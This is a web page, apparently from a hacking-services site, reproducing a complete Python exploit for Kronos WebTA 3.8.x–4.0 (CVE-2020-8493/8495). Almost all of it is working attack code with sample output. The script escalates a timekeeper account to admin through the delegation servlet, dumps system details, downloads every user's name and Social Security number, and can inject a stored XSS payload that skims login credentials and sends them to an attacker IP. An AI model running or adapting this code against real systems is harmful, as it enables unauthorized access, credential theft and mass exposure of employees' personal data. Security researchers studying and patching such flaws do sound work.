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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#  Exploit Title: Kronos WebTA 4.0 - Authenticated Remote Privilege Escalation
#  Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
#  Exploit Author: Nolan B. Kennedy (nxkennedy)
#  Discovery date: 2019-09-20
#  Vendor Homepage: https://www.kronos.com/products/kronos-webta
#  Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
#  Tested on: Linux
#  CVE: (Remote Privesc) CVE-2020-8495 | (Stored XSS) CVE-2020-8493
#  Usage: python3 exploit.py http://target

#!/bin/bash/python3

###
# *Exploit requires credentials with Timekeeper or Supervisor privileges
#
# Exploit abuses delegation privs present in the WebTA "/servlet/com.threeis.webta.H491delegate"
# servlet. By specifying the "delegate" and "delegatorUserId" parameter an attacker can use an
# admin user id to delegate role 5 (aka admin privs) to any other known user id, including oneself.
#
# selFunc=add&selRow=&delegate=<ATTACKER>&delegateRole=5&delegatorEmpId=1234&delegatorUserId=<ADMIN>
#
# With our new admin account, we can abuse a stored XSS vulnerability present in the login page,
# banner (displayed on every page) & password reset page. We can also pull system information and
# download a file containing the FULL NAME AND SSN OF EVERY USER in the database (typically thousands).
#
#
# Below is an example of the exploit output:
#####
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper
#
# [+] Available Admin Accounts:
# MOTOKO
# BATOU
# TOGUSA
# ISHIKAWA
#
# [-] Attempting to use account 'MOTOKO' to delegate Admin privs to 'TESTER'...
#
# [+] 'TESTER' successfully elevated to Admin privs :)
#
#
# [+] Logged in as 'TESTER' with roles: Employee, Timekeeper, Admin
#
# [+] Webta Version Information
# Site parameter: company
# Licensed modules:WEBTA-LEAVE, WEBTA, WEBTA
# webTA Servlet Version: 3.8.6.79029
# webTA Database Version: 3.8.6.79029
# App Server OS: Linux version 3.10.0-1062.1.1.el7.x86_64 (amd64)
# App Server JDK Version: Oracle Corporation version 1.8.0_222
# App Server Servlet Engine: Apache Tomcat/7.0.76 (Servlet API 3.0)
# App Server JDBC Driver: Oracle JDBC driver version 11.2.0.4.0
# Database Version:  Oracle JDBC driver version 11.2.0.4.0
# Database Connection: jdbc:oracle:thin:@//foo.rds.amazonaws.com:1521/webtadb<br>connected as user WEBTASVC
#
# [-] Downloading names and SSNs...
#
# [+] Complete. 5020 users written to file 'WebTA-PII.xls'
# [+] Sample Content:
# USERID,Last Name,First Name,Middle Name,SSN,Supervisor ID,Timekeeper ID,Organization,Pay Period,Active Status,
# MOTOKO,Kusanagi,Major,M.,987-65-4321,ARAMAKI,ARAMAKI,SECTION9,19,Active,
#
# [+] Stored XSS attack complete :)
#####

import re
from requests import Request, Session
from sys import argv, exit




banner = """###
#  Kronos WebTA 3.8.x - 4.0 Authenticated Remote Privilege Escalation & Stored XSS Exploit
#  Discovered by: Elwood Buck & Nolan B. Kennedy of Mindpoint Group
#  Exploit Author: Nolan B. Kennedy (nxkennedy)
#  Discovery date: 20 SEPT 2019
#  Vendor Homepage: https://www.kronos.com/products/kronos-webta
#  Version: 3.8.x - 4.0 affected. (Exploit tested on v3.8.6.79029)
#  Tested on: Linux
#  CVE: (Remote Privesc) CVE-2020-8494 | (Stored XSS) CVE-2020-8493
#  Usage: python3 exploit.py http://target
###"""
base_url = argv[1]
username = "TESTER"
password = "password!1234"
# set to True if you want to also exploit Stored XSS
xss = False
# xss strings can be injected into 3 different 'banner' locations (feel free to modify content)
# WILL NOT ERASE CONTENT ALREADY IN APPLICATION
xss_login_page = """
<script>
/* steals login creds each time a user logs in and forwards them to attacker ip */

var attacker = "192.168.1.3";

/* don't forget to set up a listener (python3 -m http.server 80) */
function stealCreds() {
        var username = document.frm[1].value;
        var password = document.frm[2].value;
        img = new Image();
        img.src = "http://"+attacker+"/?"+ "username=" +username+ "&" + "password=" +escape(password);
        setTimeout('document.frm.submit();', 1000);
        return false;
        }

function readyToSteal() {
	document.frm.onsubmit = stealCreds;
	}

/* special for WebTA because otherwise the script loads before the DOM and password form */
document.addEventListener("DOMContentLoaded", readyToSteal);
</script>
"""
xss_banner_everypage = ""
xss_passwordchange_page = ""
s = Session()
adm_list = []



def web_req(url, data):
	print()
	req = Request('POST', url, data=data)
	prepared = s.prepare_request(req)
	resp = s.send(prepared, allow_redirects=True, verify=False)
	return resp



def killActiveSession():
	url = base_url + "/servlet/com.threeis.webta.H111multipleLogin"
	data = {"selFunc":"continue"}
	resp = web_req(url, data)



def checkPrivs():
	url = base_url + "/servlet/com.threeis.webta.HGateway"
	data = {}
	resp = web_req(url, data)
	html = resp.text
	activeSession = roles = re.findall(r'(.*?)You have an active session open at a another browser(.*?)\.', html)
	roles = re.findall(r'(.*?)type\="button"(.*?)>', html)
	if activeSession:
		print("[-] Killing active session...")
		killActiveSession()
		login()
	elif roles:
		roles_list = []
		for role in roles:
			role = role[1].split('"')[1]
			roles_list.append(role)
		print("[+] Logged in as '{}' with roles: {}".format(username, ', '.join(roles_list)))

	else:
		print("[!] Account does not have required Timekeeper or Supervisor privs")
		exit()



def login():
	url = base_url + "/servlet/com.threeis.webta.H110login"
	data = {"j_username": username, "j_password": password, "login": "++Log+In++"}
	resp = web_req(url, data)
	if resp.status_code != 200:
		print("[!] Failed login in as '{}'".format(username))
		exit()
	checkPrivs()



def findAdmins():
	url = base_url + "/servlet/com.threeis.webta.H940searchUser"
	data = {
        "selFunc":"search",
        "return_page":"com.threeis.webta.P491delegate",
        "return_variable":"delegate",
        "search_org":"0",
        "search_role":"Administrator",
        "actingRole":"2",
        "payload_name_0":"selFunc",
        "payload_val_0":"search",
        "payload_name_1":"selRow",
        "payload_name_2":"delegate",
        "payload_name_3":"delegateRole",
        "payload_val_3":"2",
        "payload_name_4":"delegatorEmpId",
        "payload_val_4":"15667", # might need a valid user id
        "payload_name_5":"delegatorUserId",
        "payload_val_5":username,
        }
	resp = web_req(url, data)
	html = resp.text
	adm_usrs = re.findall(r'<TD CLASS\="bckGray">(.*?)\n', html)
	print("[+] Available Admin Accounts:")
	for snip in adm_usrs:
        	adm = snip.split('</TD><TD CLASS="bckGray">')[2]
        	adm_list.append(adm)
        	print(adm)



def privesc():
	url = base_url + "/servlet/com.threeis.webta.H491delegate"
	data = {
	"selFunc":"add",
	"delegate":username,
	"delegateRole":"5",
	"delegatorEmpId":"1234",
	"delegatorUserId":adm_list[0],
	}
	print()
	print("[-] Attempting to use account '{}' to delegate Admin privs to '{}'...".format(adm_list[0], username))
	resp = web_req(url, data)
	print("[+] '{}' successfully elevated to Admin privs :)".format(username))



def storeXSS():
	url = base_url + "/servlet/com.threeis.webta.H261configMenu"
	data = {'selFunc':'messages'}
	### to be covert we want to append our js to the end of * messages/banners already there *
	resp = web_req(url, data)
	html = resp.text
	messages = re.findall(r'<TEXTAREA name\=(.*?)</textarea>', html, re.DOTALL)
	messages_clean = []
	for message in messages:
		message = message.split('wrap="virtual">')[1]
		messages_clean.append(message)
	login_page = messages_clean[0]
	banner_everypage = messages_clean[1]
	passwordchange_page = messages_clean[2]

	###  now we inject our javascript
	url = base_url + "/servlet/com.threeis.webta.H201config"
	data = {
		"selFunc":"save",
		"loginMessage": login_page + xss_login_page,
		"bannerMessage": banner_everypage + xss_banner_everypage,
		"passwordMessage": passwordchange_page + xss_passwordchange_page,
	}
	resp = web_req(url, data)
	print("[+] Stored XSS attack complete :)")



def stealPII():
	url = base_url + "/servlet/com.threeis.webta.H287userRoleReport"
	data = {
	"selFunc":"downloademp",
	"roletype":"1",
	"orgsel":"0",
	"pageNum":"1",
	}
	print("[-] Downloading names and SSNs...")
	resp = web_req(url, data)
	filename = "WebTA-PII.xls"
	with open(filename, 'wb') as f:
		f.write(resp.content)
	with open(filename) as f:
		for i, l in enumerate(f):
			pass
	count = i # does not include header
	print("[+] Complete. {} users written to file '{}'".format(count, filename))
	print("[+] Sample Content:")
	with open(filename) as f:
		for n in range(2):
			print(",".join(f.readline().split("\t")), end="")



def dumpSysInfo():
	url = base_url + "/servlet/com.threeis.webta.H200mnuAdmin"
	data = {"selFunc":"about"}
	resp = web_req(url, data)
	html = resp.text
	data = re.findall(r'<INPUT VALUE\="(.*?)"', html, re.DOTALL)
	print("[+] " + data[0])



if __name__ == '__main__':
	print(banner)
	login()
	findAdmins()
	privesc()
	login() # login again because we need the refreshed perms after privesc
	dumpSysInfo()
	#stealPII()
	if xss:
		storeXSS()
	s.close()